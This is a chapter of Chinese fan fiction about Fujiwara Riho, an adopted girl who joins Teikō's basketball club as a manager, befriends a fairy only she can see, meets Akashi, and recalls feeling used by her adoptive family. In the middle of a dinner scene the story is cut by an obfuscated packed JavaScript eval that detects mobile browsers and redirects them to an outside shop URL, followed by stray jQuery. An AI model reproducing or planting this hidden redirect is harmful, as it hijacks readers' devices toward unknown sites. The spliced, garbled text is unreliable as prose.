帝光中学篮球部的体育馆内，空气仿佛被点燃。
围观的部员们交头接耳，目光灼热地聚焦在场地中央那五个挺拔的身影上。赤司征十郎、绿间真太郎、紫原敦、青峰大辉、灰崎祥吾——他们的名字，从入学第一天起，可能就开始与“天才”和“传奇”紧紧相连。
“听说了吗？他们五个，全部直接进一军！”
“开什么玩笑……帝光历史上从没有过这种事吧？”
“那个红头发的，是赤司家的……”
“那个子高得吓人的是紫原……”
“绿间的三分球，练习赛我看过，简直像装了导航……”
低语与惊叹在人群中流淌，汇成一片憧憬的声浪。五个少年站在那里，神色各异，或平静，或慵懒，或锐利，坦然接受着所有的注视，仿佛这本就是他们应得的位置。
与此同时，场馆一侧稍显安静的角落。
“理穗，泽村，这里。”三年级的高桥学姐朝新来的经理们招招手，笑容温和但透着些干练，“我跟你们讲一下之后几周的活动安排。有篮球基础的经理，比如桃井同学，会直接跟随二军，协助数据记录和战术分析。”
扎着粉色双马尾的桃井五月闻言，认真地点了点头，手里已经抱着记录板。
高桥学姐转向另外两人：“理穗，泽村，你们对篮球规则还不太熟，对吧？不用着急，和其他人一起先从三军开始，熟悉器材管理、基础训练辅助和后勤工作。大部分新人都是从这个阶段开始的，慢慢来就好。”
泽村和理穗对视一眼，都应了声“是”。
热闹的部活终于在暮色中落下帷幕。
泽村一边将外套塞进书包，一边转头看向正在慢条斯理整理东西的理穗：“藤原同学，一起回家吗？我们顺路。”
理穗拉上书包拉链，动作顿了一下，目光似乎不经意地掠向远处的篮筐，那里有什么东西在闪闪发亮，从刚才进来开始理穗总能听到仿佛小孩子的吵闹和笑声，她收回视线，对泽村遥露出一个浅浅的、却似乎有些心不在焉的微笑。
“你先走吧。我……还有点事要处理。”
“诶？好吧！”泽村背好书包，朝她挥挥手，笑容爽朗，“那明天见啦，藤原同学！”
“嗯，明天见。”
理穗站在原地，看着泽村的背影消失在体育馆门口。
喧哗散去，偌大的空间渐渐空旷安静下来，只剩下篮球偶尔落地的回响，以及远处，那几个备受瞩目的新生隐约的谈话声。
她捏了捏书包带，没有离开，反而转身，朝着器材室的方向走去。
在真正推开门之前，她已经透过门缝看见了一颗篮球上的小光。远看那是一个巴掌大的发光小球，在篮筐上跳跃，像一颗星星掉在了球场上。
别人看不见。她看得见。
近看他大约只有篮球的三分之一高，却拥有能轻松抓稳标准篮球的修长手指。一身紧致的橘色的皮肤在灯光下闪烁，像是涂了一层薄薄的光泽。
最特别的是身后那对半透明的薄膜翅膀——平时安静地收拢着，一旦加速突破便会展开，带起一缕七彩的流光。
这是不同于妖怪的精怪。
她不能告诉任何人。只是每次路过的时候，会多看它一眼。它好像也发现了理穗在看他。
有一次，它从篮筐上跳下来，落在她肩膀上。很轻，像一片叶子。她伸出手，它跳到她的掌心。暖暖的，像温水。
“你在这里多久了？”她问，她给它取名叫“小光”。
“你好啊！你能看见我！”小光激动极了。
“小光，你是一直在这里吗”
“当然，我可是篮球妖精，只有这种有人气的场馆才能诞生。”
据小光自述，篮球妖精，属于“球场之灵”的一种
篮球场诞生的“铜”阶妖精，但自称有“钻石级灵魂”。
了解所有关于篮球的事情和规则，是最厉害的篮球指导。
能量来源是篮球场的人气和观众的欢呼声：没有观众时他会变小一圈，声音也会变沙哑。
“真厉害啊，那你一个人呆在这会不会寂寞，要不要和我一起回家”理穗看着在篮球上蹦蹦跳跳的小光，发出邀请。
“可以吗？真的可以吗？我当然想，好不容易有人可以和我说话！明天能回来吗”小光兴奋极了。
“当然，走吧，我们明天会再回来！”
夕阳从高处的窗户照进来，把整个球场染成金色。木地板被擦得很亮，光线在上面流淌。
观众的座椅是蓝色的，层层叠叠向上延伸，空无一人。
意外的是还有一个人在球场上。
赤发，白色球衣，红色眼睛。他站在罚球线上，举起球，手腕轻轻一抖。球穿过篮筐，落在地上，弹了几下，滚到墙角。他没有去捡。又拿起一个球。
投。进。投。进。投。进。
每一次的动作都一样。高度，角度，力度。像一台被校准过的机器。她站在门口，看着。没有出声，也没有走。
她看见了光下的少年他的身体里有两个浅浅的轮廓。一个温和的，线条柔软，像春天融化的雪。他的姿势是放松的，肩膀微微下沉。一个冷厉的，线条锋利，像冬天的刀刃。他的姿势是紧绷的，肩膀微微耸起。
两个轮廓在交替。在争夺。温和的说：再来一组，但不要勉强。冷厉的说：还不够。你还可以更强。
她看了一会儿。然后移开视线，有些不解，不清楚这是什么情况。
“你在看什么？”
他的声音从球场那边传过来。
她抬头，看向赤司征十郎，“……在看你的投篮，不好意思打扰了。”
“我的投篮有什么问题？”
“没有。”她停顿了一下。 “很完美。”
他终于停下了动作。球在地上弹了几下，滚到墙角。他转过身，看着她。红色的眼睛在夕阳下染上了金光。
“你是藤原理穗。”“藤原……”他重复了一遍这个姓氏，像是在确认什么。“我记得我们是同班同学”
“是的，班长大人，我们是前后桌。”
“太晚了，你为什么还呆在篮球馆？”
“有些东西漏拿了，我和泽村同学今天递交了篮球部经理的申请。”
“经理啊，辛苦了！”
她没有回答。窗外的天空又暗了一些。风停了。
“再见，赤司同学，我要回家了。”
“再见，藤原同学。”
她走出体育馆的时候，天已经完全黑了。走廊上没有灯，她的脚步声在空旷的楼道里回荡。小光从窗台上飞下来，落在她的肩膀上。
走出校门的时候，她回头看了一眼。不知道他还在里面。她转过身，走进夜色里。
路灯是橘色的。她的影子被拉得很长，又变短，又变长。小光没有说话，安静地趴在她肩膀上。
校门口，藤原家的车正等在那里。
到家了。藤原家的宅邸在夜色里很安静。
橙色的光从窗户里透出来，把门前的石板路照得发亮。理穗站在门口，没有马上进去。她低头看了看制服。领结有没有歪？裙摆有没有皱？头发有没有乱？她伸出手，把头发拢到耳后。
深呼吸。一下。两下。
推开门。
“我回来了。”
“欢迎回来”绫子的声音从厨房传来。“今天有点晚，有什么事吗。”
“嗯。抱歉，在学校耽搁了一段时间，走晚了些。”
“饭快好了。先去换衣服。”
“好。”
理穗换下制服，穿上家居服。浅灰色的，棉质的，很柔软。她把制服挂在衣架上，拉平褶皱。然后把笔记本从书包里拿出来，放在桌上。书包放回角落。
下楼的时候，和树在客厅里玩积木。他坐在地毯上，把积木一块一块地叠起来，叠得很高。
“姐姐！”他抬头看她，笑了。
“和树。”
“姐姐看！高不高？”
“高。”
她站在旁边，看着他继续叠。积木晃了一下，她伸出手，但没有扶。和树自己稳住了。
“姐姐，你不在的时候，我自己玩。”
“嗯。”
“妈妈说你上学了。上学好玩吗？”
“还行。”
“我也想去上学。”
“等你长大。”
积木倒了。和树没有哭，只是把积木捡起来，重新叠。理穗蹲下来，帮他把积木摆好。他的手很小，手指很短。她的手在旁边，显得很长。
“姐姐，你明天还回来吗？”
“回来。”
“每天都回来？”
“……嗯。”
和树笑了，继续叠积木。
晚饭的时候，藤原诚一不在。
“爸爸今晚有应酬。”绫子说。她端着碗，给和树夹菜。理穗安静地吃饭。筷子碰碗沿的声音，汤勺碰锅子的声音。
“理穗，学校怎么样？”
“挺好的。”
“社团呢？”
“篮球部，经理。”
“经理？”绫子抬头看她，“你懂篮球吗？”
“不太懂。”
“那为什么——”
“大概是他们需要人。”
绫子疑惑的看了一眼理穗，点了点头，没有追问。和树在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530689|203684||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
椅子上扭来扭去，把菜汤洒在桌上。
“和树！好好吃饭！”
“妈妈，我不想吃青菜。”
“不行。吃青菜才能长大。”
理穗看着他们。绫子的筷子在和树面前晃，和树用手挡住。理穗低下头，继续吃饭。
吃完饭，她帮绫子收拾碗筷。水龙头开着，水冲在碗上，哗哗的声音。绫子站在旁边擦碗，动作很快。
“理穗，你去写作业吧。我来。”
“没事。”
她把最后一个碗放进碗架，擦干手。水珠从指尖滑落，滴在水槽里。
“妈妈。”
“嗯？”
“爸爸什么时候回来？”
“不知道。也许很晚。”
理穗点了点头。走上楼梯。走到二楼走廊的窗户前，她停下来。窗外是院子。高大的樱花树在月光下像是银色的。叶子还是绿色的。她站在那里，看着院子。
她是什么时候来的藤原家呢？
大概是七八岁的样子，理穗父母在她小的时候意外去世，所以她和贵志从很小的时候就被亲戚分开收养，一直在亲戚之间辗转。
藤原是父亲这边的亲戚。夏目家一直人丁单薄，可能是因为灵力强大，所以几乎每个人都是早逝。
后来那年她九岁。
和树满月酒。藤原家的宅邸从来没有这么热闹过。客厅里坐满了人，走廊上也站着人，连院子里都有人在说话。理穗穿着最好的和服，浅蓝色，绣着樱花，是绫子帮她选的。和服有点紧，走路的时候要小步小步的。她在镜子前站了很久，看着镜子里的人。那个人很陌生。不是她。是“藤原家的养女”。
“理穗，帮妈妈端茶去客厅。”绫子在厨房里喊。
“好。”
她端着茶盘，从厨房走到客厅。走廊很长，木地板踩上去会发出吱呀的声音。茶盘上有六杯茶，杯子是白色的，画着蓝色的花纹。茶是热的，杯子上有细小的水珠。她走得很慢，怕茶洒出来。
走到客厅门口的时候，她听见了里面的声音。
“诚一真是命好。收养了那个孩子之后，马上就有了亲生儿子。”
“是啊。那个‘压子的办法’真管用。”
“小声点。别让那孩子听见。”
“听见又怎样？她应该感恩。要不是诚一收养她，她现在还不知道在谁家呢，从微末旁系一下子成为主支贵族小姐，真是幸运。”
“幸运吗？”她站在走廊上，端着茶盘。茶还是热的。水珠顺着杯壁往下流，滴在托盘上，一滴，两滴，三滴。
她站了一会儿。也许很久。也许只是一瞬。
然后她推开门。
“茶来了。”
没有人注意到她。没有人看见她的手指有没有发抖。她一杯一杯地把茶放在客人面前，微笑着，鞠躬。十五度。不太正式，也不随意。
“谢谢。”“这孩子真懂事。”“藤原家的养女就是不一样。”
她退出客厅，站在走廊上。茶盘是空的。她的手是空的。她低头看着自己的手，手指很长，指甲修剪得很整齐。这双手端过很多茶，扫过很多落叶，捡过一枚勾玉。
这双手，好像没有被谁一直牵过的手。此刻，理穗无比的思念哥哥贵志，她失去音信的半身。
她走到院子里，站在樱花树下。叶子是绿色的，还没有变黄。风吹过来，沙沙响。
“压子。”
她念了一遍这个词。声音很轻，被风声盖住了。
原来这就是她的用处。不是“女儿”，不是“养女”，现在亲生的来了，工具就用完了。
当然不会被扔掉——那会坏了名声。但会被放在角落里。有人用，但没有人在意。
她站在树下很久。直到绫子来找她。
“理穗，你怎么在这里？别着凉了”
“马上来。”
她走回客厅。微笑。鞠躬。倒茶。没有人注意到她回来。没有人注意到她离开。没有人注意到她。
思绪回转，理穗下楼准备喝水，正好遇见坐在客厅的绫子。
“妈妈，您好没休息吗？”
“诚一还没回来，我等一会儿。”
“和树呢？”
“已经睡了。”
理穗拿了杯水，走上楼梯。经过和树的房间，她停下脚步，轻轻推开门。
和树躺在床上，被子被踢到一边，一只脚露在外面。理穗走过去，把被子拉上来，盖住他的脚。
和树翻了个身，嘴里嘟囔了一句什么。听不清。理穗站了一会儿，然后轻轻关上门。
每次看见和树，理穗总是不自觉的想起贵志，不知道他是不是也有人盖被子呢。